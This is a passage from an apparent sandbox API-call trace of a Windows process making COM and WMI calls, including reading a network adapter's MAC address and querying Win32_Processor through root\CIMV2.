Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x0) returned 0x80004002 [0206.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a48e0, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe2ec | out: ppvObject=0x12fe2ec*=0x0) returned 0x80004002 [0206.778] WbemDefPath:IUnknown:AddRef (This=0x13a48e0) returned 0x3 [0206.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a48e0, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe04c | out: ppvObject=0x12fe04c*=0x0) returned 0x80004002 [0206.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a48e0, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdffc | out: ppvObject=0x12fdffc*=0x0) returned 0x80004002 [0206.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a48e0, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe008 | out: ppvObject=0x12fe008*=0x13ebd80) returned 0x0 [0206.778] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13ebd80, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe010 | out: pCid=0x12fe010) returned 0x0 [0206.778] WbemDefPath:IUnknown:Release (This=0x13ebd80) returned 0x3 [0206.778] CoGetContextToken (in: pToken=0x12fe068 | out: pToken=0x12fe068) returned 0x0 [0206.778] CoGetContextToken (in: pToken=0x12fe470 | out: pToken=0x12fe470) returned 0x0 [0206.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a48e0, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe4fc | out: ppvObject=0x12fe4fc*=0x0) returned 0x80004002 [0206.778] WbemDefPath:IUnknown:Release (This=0x13a48e0) returned 0x2 [0206.778] WbemDefPath:IUnknown:Release (This=0x13a48e0) returned 0x1 [0206.778] CoGetContextToken (in: pToken=0x12fee10 | out: pToken=0x12fee10) returned 0x0 [0206.778] CoGetContextToken (in: pToken=0x12fed70 | out: pToken=0x12fed70) returned 0x0 [0206.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a48e0, riid=0x12fee40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee3c | out: ppvObject=0x12fee3c*=0x13a48e0) returned 0x0 [0206.778] WbemDefPath:IUnknown:AddRef (This=0x13a48e0) returned 0x3 [0206.778] WbemDefPath:IUnknown:Release (This=0x13a48e0) returned 0x2 [0206.779] WbemDefPath:IWbemPath:SetText (This=0x13a48e0, uMode=0x4, pszPath="\\\\NQDPDE\\root\\CIMV2:Win32_NetworkAdapterConfiguration.Index=3") returned 0x0 [0206.779] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fefc0 | out: puCount=0x12fefc0*=0x2) returned 0x0 [0206.779] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefbc*=0x0, pszText=0x0 | out: puBuffLength=0x12fefbc*=0xf, pszText=0x0) returned 0x0 [0206.779] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fefbc*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefbc*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.779] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a43a0, puCount=0x12fef8c | out: puCount=0x12fef8c*=0x2) returned 0x0 [0206.779] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fef88*=0x0, pszText=0x0 | out: puBuffLength=0x12fef88*=0xf, pszText=0x0) returned 0x0 [0206.779] WbemDefPath:IWbemPath:GetText (in: This=0x13a43a0, lFlags=4, puBuffLength=0x12fef88*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef88*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0206.779] IWbemClassObject:Get (in: This=0x6012ea0, wszName="MACAddress", lFlags=0, pVal=0x12fef88*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3271eb4*=0, plFlavor=0x3271eb8*=0 | out: pVal=0x12fef88*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="B4:DD:15:B0:70:32", varVal2=0x0), pType=0x3271eb4*=8, plFlavor=0x3271eb8*=0) returned 0x0 [0206.779] SysStringByteLen (bstr="B4:DD:15:B0:70:32") returned 0x22 [0206.779] SysStringByteLen (bstr="B4:DD:15:B0:70:32") returned 0x22 [0206.779] IWbemClassObject:Get (in: This=0x6012ea0, wszName="MACAddress", lFlags=0, pVal=0x12fef90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3271eb4*=8, plFlavor=0x3271eb8*=0 | out: pVal=0x12fef90*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="B4:DD:15:B0:70:32", varVal2=0x0), pType=0x3271eb4*=8, plFlavor=0x3271eb8*=0) returned 0x0 [0206.779] SysStringByteLen (bstr="B4:DD:15:B0:70:32") returned 0x22 [0206.779] SysStringByteLen (bstr="B4:DD:15:B0:70:32") returned 0x22 [0206.779] CoTaskMemAlloc (cb=0x4) returned 0x13824b8 [0206.779] IEnumWbemClassObject:Next (in: This=0x13ac2d0, lTimeout=-1, uCount=0x1, apObjects=0x13824b8, puReturned=0x326fe70 | out: apObjects=0x13824b8*=0x0, puReturned=0x326fe70*=0x0) returned 0x1 [0207.033] CoTaskMemFree (pv=0x13824b8) [0207.033] CoGetContextToken (in: pToken=0x12feeb8 | out: pToken=0x12feeb8) returned 0x0 [0207.033] IUnknown:Release (This=0x13ac2d0) returned 0x1 [0207.033] IUnknown:Release (This=0x13ac2d0) returned 0x0 [0207.034] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef54 | out: ppv=0x12fef54*=0x135504c) returned 0x0 [0207.034] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef4c | out: pAptType=0x12fef4c*=1) returned 0x0 [0207.034] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef50 | out: ppvObject=0x12fef50*=0x0) returned 0x80004002 [0207.034] IUnknown:Release (This=0x135504c) returned 0x1 [0207.035] CoGetClassObject (in: rclsid=0x1394574*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12feb60 | out: ppv=0x12feb60*=0x13eb7c8) returned 0x0 [0207.035] WbemLocator:IUnknown:QueryInterface (in: This=0x13eb7c8, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fed7c | out: ppvObject=0x12fed7c*=0x0) returned 0x80004002 [0207.035] WbemLocator:IClassFactory:CreateInstance (in: This=0x13eb7c8, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed88 | out: ppvObject=0x12fed88*=0x1382578) returned 0x0 [0207.035] WbemLocator:IUnknown:Release (This=0x13eb7c8) returned 0x0 [0207.035] WbemLocator:IUnknown:QueryInterface (in: This=0x1382578, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe9ac | out: ppvObject=0x12fe9ac*=0x1382578) returned 0x0 [0207.035] WbemLocator:IUnknown:QueryInterface (in: This=0x1382578, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe968 | out: ppvObject=0x12fe968*=0x0) returned 0x80004002 [0207.035] WbemLocator:IUnknown:QueryInterface (in: This=0x1382578, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe55c | out: ppvObject=0x12fe55c*=0x0) returned 0x80004002 [0207.035] WbemLocator:IUnknown:AddRef (This=0x1382578) returned 0x3 [0207.035] WbemLocator:IUnknown:QueryInterface (in: This=0x1382578, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe2bc | out: ppvObject=0x12fe2bc*=0x0) returned 0x80004002 [0207.035] WbemLocator:IUnknown:QueryInterface (in: This=0x1382578, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe26c | out: ppvObject=0x12fe26c*=0x0) returned 0x80004002 [0207.035] WbemLocator:IUnknown:QueryInterface (in: This=0x1382578, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe278 | out: ppvObject=0x12fe278*=0x0) returned 0x80004002 [0207.035] CoGetContextToken (in: pToken=0x12fe2d8 | out: pToken=0x12fe2d8) returned 0x0 [0207.035] CoGetContextToken (in: pToken=0x12fe6e0 | out: pToken=0x12fe6e0) returned 0x0 [0207.035] WbemLocator:IUnknown:QueryInterface (in: This=0x1382578, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe76c | out: ppvObject=0x12fe76c*=0x0) returned 0x80004002 [0207.036] WbemLocator:IUnknown:Release (This=0x1382578) returned 0x2 [0207.036] WbemLocator:IUnknown:Release (This=0x1382578) returned 0x1 [0207.036] CoGetContextToken (in: pToken=0x12fed68 | out: pToken=0x12fed68) returned 0x0 [0207.036] CoGetContextToken (in: pToken=0x12fecc8 | out: pToken=0x12fecc8) returned 0x0 [0207.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1382578, riid=0x12fed98*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fed94 | out: ppvObject=0x12fed94*=0x1382578) returned 0x0 [0207.036] WbemLocator:IUnknown:AddRef (This=0x1382578) returned 0x3 [0207.036] WbemLocator:IUnknown:Release (This=0x1382578) returned 0x2 [0207.036] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4090, puCount=0x12fef30 | out: puCount=0x12fef30*=0x2) returned 0x0 [0207.036] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=8, puBuffLength=0x12fef2c*=0x0, pszText=0x0 | out: puBuffLength=0x12fef2c*=0xf, pszText=0x0) returned 0x0 [0207.036] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=8, puBuffLength=0x12fef2c*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef2c*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0207.036] CoCreateInstance (in: rclsid=0x6e5436ac*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6e54370c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x12fede8 | out: ppv=0x12fede8*=0x1382518) returned 0x0 [0207.036] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1382518, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x12fee7c | out: ppNamespace=0x12fee7c*=0x13ee910) returned 0x0 [0207.081] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee910, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed10 | out: ppvObject=0x12fed10*=0x1396160) returned 0x0 [0207.081] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1396160, pProxy=0x13ee910, pAuthnSvc=0x12fed60, pAuthzSvc=0x12fed5c, pServerPrincName=0x12fed54, pAuthnLevel=0x12fed58, pImpLevel=0x12fed48, pAuthInfo=0x12fed4c, pCapabilites=0x12fed50 | out: pAuthnSvc=0x12fed60*=0xa, pAuthzSvc=0x12fed5c*=0x0, pServerPrincName=0x12fed54, pAuthnLevel=0x12fed58*=0x6, pImpLevel=0x12fed48*=0x2, pAuthInfo=0x12fed4c, pCapabilites=0x12fed50*=0x1) returned 0x0 [0207.081] WbemLocator:IUnknown:Release (This=0x1396160) returned 0x1 [0207.081] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee910, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed04 | out: ppvObject=0x12fed04*=0x1396184) returned 0x0 [0207.081] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee910, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fecf0 | out: ppvObject=0x12fecf0*=0x1396160) returned 0x0 [0207.081] WbemLocator:IClientSecurity:SetBlanket (This=0x1396160, pProxy=0x13ee910, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0207.081] WbemLocator:IUnknown:Release (This=0x1396160) returned 0x2 [0207.081] WbemLocator:IUnknown:Release (This=0x1396184) returned 0x1 [0207.081] CoTaskMemFree (pv=0x13d5dc0) [0207.081] WbemLocator:IUnknown:AddRef (This=0x13ee910) returned 0x2 [0207.082] WbemLocator:IUnknown:Release (This=0x1382518) returned 0x0 [0207.082] CoGetContextToken (in: pToken=0x12fe230 | out: pToken=0x12fe230) returned 0x0 [0207.082] CoGetContextToken (in: pToken=0x12fe638 | out: pToken=0x12fe638) returned 0x0 [0207.082] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee910, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5d0 | out: ppvObject=0x12fe5d0*=0x1396168) returned 0x0 [0207.082] WbemLocator:IRpcOptions:Query (in: This=0x1396168, pPrx=0x13eb8e8, dwProperty=2, pdwValue=0x12fe6d0 | out: pdwValue=0x12fe6d0) returned 0x80004002 [0207.082] WbemLocator:IUnknown:Release (This=0x1396168) returned 0x2 [0207.082] CoGetContextToken (in: pToken=0x12fec10 | out: pToken=0x12fec10) returned 0x0 [0207.082] CoGetContextToken (in: pToken=0x12feb70 | out: pToken=0x12feb70) returned 0x0 [0207.082] WbemLocator:IUnknown:QueryInterface (in: This=0x13ee910, riid=0x12fec40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x12feb08 | out: ppvObject=0x12feb08*=0x13ee910) returned 0x0 [0207.082] WbemLocator:IUnknown:Release (This=0x13ee910) returned 0x2 [0207.082] SysStringLen (param_1=0x0) returned 0x0 [0207.082] CoGetContextToken (in: pToken=0x12fed30 | out: pToken=0x12fed30) returned 0x0 [0207.083] IWbemServices:ExecQuery (in: This=0x13ee910, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_Processor", lFlags=16, pCtx=0x0, ppEnum=0x12fef3c | out: ppEnum=0x12fef3c*=0x13acc30) returned 0x0 [0207.088] IUnknown:QueryInterface (in: This=0x13acc30, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed98 | out: ppvObject=0x12fed98*=0x13acc34) returned 0x0 [0207.088] IClientSecurity:QueryBlanket (in: This=0x13acc34, pProxy=0x13acc30, pAuthnSvc=0x12fede8, pAuthzSvc=0x12fede4, pServerPrincName=0x12feddc, pAuthnLevel=0x12fede0, pImpLevel=0x12fedd0, pAuthInfo=0x12fedd4, pCapabilites=0x12fedd8 | out: pAuthnSvc=0x12fede8*=0xa, pAuthzSvc=0x12fede4*=0x0, pServerPrincName=0x12feddc, pAuthnLevel=0x12fede0*=0x6, pImpLevel=0x12fedd0*=0x2, pAuthInfo=0x12fedd4, pCapabilites=0x12fedd8*=0x1) returned 0x0 [0207.088] IUnknown:Release (This=0x13acc34) returned 0x1 [0207.088] IUnknown:QueryInterface (in: This=0x13acc30, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed8c | out: ppvObject=0x12fed8c*=0x1395e84) returned 0x0 [0207.089] IUnknown:QueryInterface (in: This=0x13acc30, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed78 | out: ppvObject=0x12fed78*=0x13acc34) returned 0x0 [0207.089] IClientSecurity:SetBlanket (This=0x13acc34, pProxy=0x13acc30, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0207.257] IUnknown:Release (This=0x13acc34) returned 0x2 [0207.257] WbemLocator:IUnknown:Release (This=0x1395e84) returned 0x1 [0207.257] CoTaskMemFree (pv=0x13d5f10) [0207.257] IUnknown:AddRef (This=0x13acc30) returned 0x2 [0207.257] CoGetContextToken (in: pToken=0x12fe2b0 | out: pToken=0x12fe2b0) returned 0x0 [0207.257] CoGetContextToken (in: pToken=0x12fe6b8 | out: pToken=0x12fe6b8) returned 0x0 [0207.257] IUnknown:QueryInterface (in: This=0x13acc30, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe650 | out: ppvObject=0x12fe650*=0x1395e68) returned 0x0 [0207.258] WbemLocator:IRpcOptions:Query (in: This=0x1395e68, pPrx=0x13eb9f0, dwProperty=2, pdwValue=0x12fe750 | out: pdwValue=0x12fe750) returned 0x80004002 [0207.258] WbemLocator:IUnknown:Release (This=0x1395e68) returned 0x2 [0207.258] CoGetContextToken (in: pToken=0x12fec98 | out: pToken=0x12fec98) returned 0x0 [0207.258] CoGetContextToken (in: pToken=0x12febf8 | out: pToken=0x12febf8) returned 0x0 [0207.258] IUnknown:QueryInterface (in: This=0x13acc30, riid=0x12fecc8*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12feb90 | out: ppvObject=0x12feb90*=0x13acc30) returned 0x0 [0207.258] IUnknown:Release (This=0x13acc30) returned 0x2 [0207.258] SysStringLen (param_1=0x0) returned 0x0 [0207.258] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4090, puCount=0x12fef88 | out: puCount=0x12fef88*=0x2) returned 0x0 [0207.259] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=4, puBuffLength=0x12fef84*=0x0, pszText=0x0 | out: puBuffLength=0x12fef84*=0xf, pszText=0x0) returned 0x0 [0207.259] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=4, puBuffLength=0x12fef84*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef84*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0207.259] CoGetContextToken (in: pToken=0x12fedd8 | out: pToken=0x12fedd8) returned 0x0 [0207.259] IEnumWbemClassObject:Clone (in: This=0x13acc30, ppEnum=0x12fef94 | out: ppEnum=0x12fef94*=0x13ac780) returned 0x0 [0207.260] IUnknown:QueryInterface (in: This=0x13ac780, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee50 | out: ppvObject=0x12fee50*=0x13ac784) returned 0x0 [0207.261] IClientSecurity:QueryBlanket (in: This=0x13ac784, pProxy=0x13ac780, pAuthnSvc=0x12feea0, pAuthzSvc=0x12fee9c, pServerPrincName=0x12fee94, pAuthnLevel=0x12fee98, pImpLevel=0x12fee88, pAuthInfo=0x12fee8c, pCapabilites=0x12fee90 | out: pAuthnSvc=0x12feea0*=0xa, pAuthzSvc=0x12fee9c*=0x0, pServerPrincName=0x12fee94, pAuthnLevel=0x12fee98*=0x6, pImpLevel=0x12fee88*=0x2, pAuthInfo=0x12fee8c, pCapabilites=0x12fee90*=0x1) returned 0x0 [0207.261] IUnknown:Release (This=0x13ac784) returned 0x1 [0207.261] IUnknown:QueryInterface (in: This=0x13ac780, riid=0x6e54351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee44 | out: ppvObject=0x12fee44*=0x1396384) returned 0x0 [0207.261] IUnknown:QueryInterface (in: This=0x13ac780, riid=0x6e54352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fee30 | out: ppvObject=0x12fee30*=0x13ac784) returned 0x0 [0207.261] IClientSecurity:SetBlanket (This=0x13ac784, pProxy=0x13ac780, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0207.262] IUnknown:Release (This=0x13ac784) returned 0x2 [0207.262] WbemLocator:IUnknown:Release (This=0x1396384) returned 0x1 [0207.262] CoTaskMemFree (pv=0x13d5d30) [0207.263] IUnknown:AddRef (This=0x13ac780) returned 0x2 [0207.263] CoGetContextToken (in: pToken=0x12fe358 | out: pToken=0x12fe358) returned 0x0 [0207.263] CoGetContextToken (in: pToken=0x12fe760 | out: pToken=0x12fe760) returned 0x0 [0207.263] IUnknown:QueryInterface (in: This=0x13ac780, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x1396368) returned 0x0 [0207.263] WbemLocator:IRpcOptions:Query (in: This=0x1396368, pPrx=0x13a1450, dwProperty=2, pdwValue=0x12fe7f8 | out: pdwValue=0x12fe7f8) returned 0x80004002 [0207.263] WbemLocator:IUnknown:Release (This=0x1396368) returned 0x2 [0207.263] CoGetContextToken (in: pToken=0x12fed40 | out: pToken=0x12fed40) returned 0x0 [0207.263] CoGetContextToken (in: pToken=0x12feca0 | out: pToken=0x12feca0) returned 0x0 [0207.263] IUnknown:QueryInterface (in: This=0x13ac780, riid=0x12fed70*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x12fec38 | out: ppvObject=0x12fec38*=0x13ac780) returned 0x0 [0207.264] IUnknown:Release (This=0x13ac780) returned 0x2 [0207.264] SysStringLen (param_1=0x0) returned 0x0 [0207.264] IEnumWbemClassObject:Reset (This=0x13ac780) returned 0x0 [0207.264] CoTaskMemAlloc (cb=0x4) returned 0x13825b8 [0207.264] IEnumWbemClassObject:Next (in: This=0x13ac780, lTimeout=-1, uCount=0x1, apObjects=0x13825b8, puReturned=0x3272864 | out: apObjects=0x13825b8*=0x6013038, puReturned=0x3272864*=0x1) returned 0x0 [0211.202] IUnknown:QueryInterface (in: This=0x6013038, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe5f0 | out: ppvObject=0x12fe5f0*=0x6013038) returned 0x0 [0211.203] IUnknown:QueryInterface (in: This=0x6013038, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe5ac | out: ppvObject=0x12fe5ac*=0x0) returned 0x80004002 [0211.203] IUnknown:QueryInterface (in: This=0x6013038, riid=0x737e03bc*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fe3cc | out: ppvObject=0x12fe3cc*=0x0) returned 0x80004002 [0211.203] IUnknown:QueryInterface (in: This=0x6013038, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe1a4 | out: ppvObject=0x12fe1a4*=0x0) returned 0x80004002 [0211.203] IUnknown:AddRef (This=0x6013038) returned 0x3 [0211.203] IUnknown:QueryInterface (in: This=0x6013038, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, 